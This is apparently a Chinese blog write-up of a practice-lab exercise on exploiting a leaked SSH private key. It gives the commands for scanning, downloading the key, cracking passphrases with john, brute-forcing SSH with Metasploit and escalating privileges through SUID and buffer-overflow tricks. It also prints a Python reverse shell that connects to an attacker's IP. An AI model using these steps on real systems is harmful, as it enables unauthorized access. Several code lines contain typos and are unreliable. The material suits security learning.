ssh密钥泄露

Dunm1e Lv3

ssh密钥泄露

==ssh常用端口为22==

信息探测

先用nmap扫描ip端口

探测靶场开放的服务和服务版本:nmap -sV ip

探测靶场全部信息:nmap -A -v ip

探测靶场的操作系统类型和版本: nmap -O ip

==注意特殊端口(大于1024)==


扫描端口目录,寻找隐藏文件

dirb http://ip:port/(80端口可省略)

如果探测到.ssh,则可以想到密钥泄露,通过ssh远程登陆

==id_rsa和id_rsa.pub配对成功才能登陆成功==

为此我们可以尝试打开http://ip:port/.ssh/id_rsa目录,可能会下载到id_rsa,也就是私钥


寻找ssh用户名,得到私钥

  1. 然后依次打开后面的目录
    成功下载后,第二个文件就是一个认证文件,可以找到用户名,ssh连接徐娅用户名,假如用户名为simon

  2. 可能在网站主页寻找

ssh -i id_rsa simon@ip


利用nikto寻找是否有私钥

nikto -host ip

可以扫描出敏感目录并且提示

如果探测到robot.txt,打开可以查看不可以被探测的目录,可以寻找到相关信息或者flag1;==注意config之类的文件==

可以利用wget url来下载文件

如果只有公钥

然后会提示输入密码,尝试root/用户名。错误则继续探测

ssh2john id_rsa > rsacrack

zcat /usr/share/wordlists/rockyou.txt.gz | john –pipe -rules isacrack

然后利用破解的密码进行ssh登录


提权

暴力破解思路

先下载cupp

git clone https://github.com/jeanphorn/common-password.git

进入目录给cupp.py提权 chmod +x cupp.py

以交互方式创建字典 ./cupp.py -i

利用metasploit破解ssh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msfconsole

use auxiliary/scanner/ssh/ssh_login

set rhosts ip

set username name(对应用户名)

set pass_file name.txt(前面生成的字典)

set threads 5(设置线程)

show options(查看参数)

set verbose true(返回相关信息)

run

破解密码后,重新启动msfconsole,并输入相关参数,但是密码直接设置为破解出来的密码pwd

set password pwd

打开会话

sessions -i l

优化终端

python -c “import pty;pty.spawn(‘/bin/bash’)”

然后输入

su - root

输入破解出来的密码pwd,成功提权


反弹shell

挖掘是否有定时任务 `car /etc/crontab

如果有定时计划文件但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限

如果有定时执行的文件,可以切换到对应目录,查看对应权限,查看当前用户是否有读写权限

反弹shell编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
`#!/usr/bin/python`

`import os,subprocess,socket`

`s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)`(参数可不加,表示使用以太网和tcp套接字)

s.connect(("攻击机IP地址","攻击机监听端口”))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-¡"])

攻击机netcat命令监听相关端口(未占用)

nc -lvp 端口

查看占用端口 netstat -pantu


利用自带文件产生溢出调用bash

登陆后发现不是root权限,于是查看根目录

cd /root ls

可能会发现flag.txt,但是可能没有权限直接打开

于是查找具有root权限的文件

find / -perm -4000 2>/dev/null

发现read_message名字与根目录类似

cat read_message.c

可能会找到flag2

代码审计下面的c语言

发现调用这个message这个文件并输出相关信息

打开read_message

read_message

然后我们输入SimonAAA

发现程序只对比到前五个字符,正确就执行程序,于是我们打算溢出字符串buf数组(20长度),然后利用输入的/bin/sh占用程序,被execve调用,然后成功提权


得到flag

寻找根目录 /root

然后就可以成功打开flag.txt文件


NOTE

  1. 查看当前用户whoami
  2. 查看当前用户的权限id
  3. 查看所有用户的列表 cat/etc/passwd
  4. 查看用户组 cat /etc/group
  5. 查看属于某些用户的文件find / -user 用户名
  6. 查看缓冲文件目录 /tmp
  • Title: ssh密钥泄露
  • Author: Dunm1e
  • Created at : 2024-09-11 18:55:58
  • Updated at : 2024-09-12 08:18:30
  • Link: https://dunm1e.github.io/2024/09/11/478a9824d4db/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments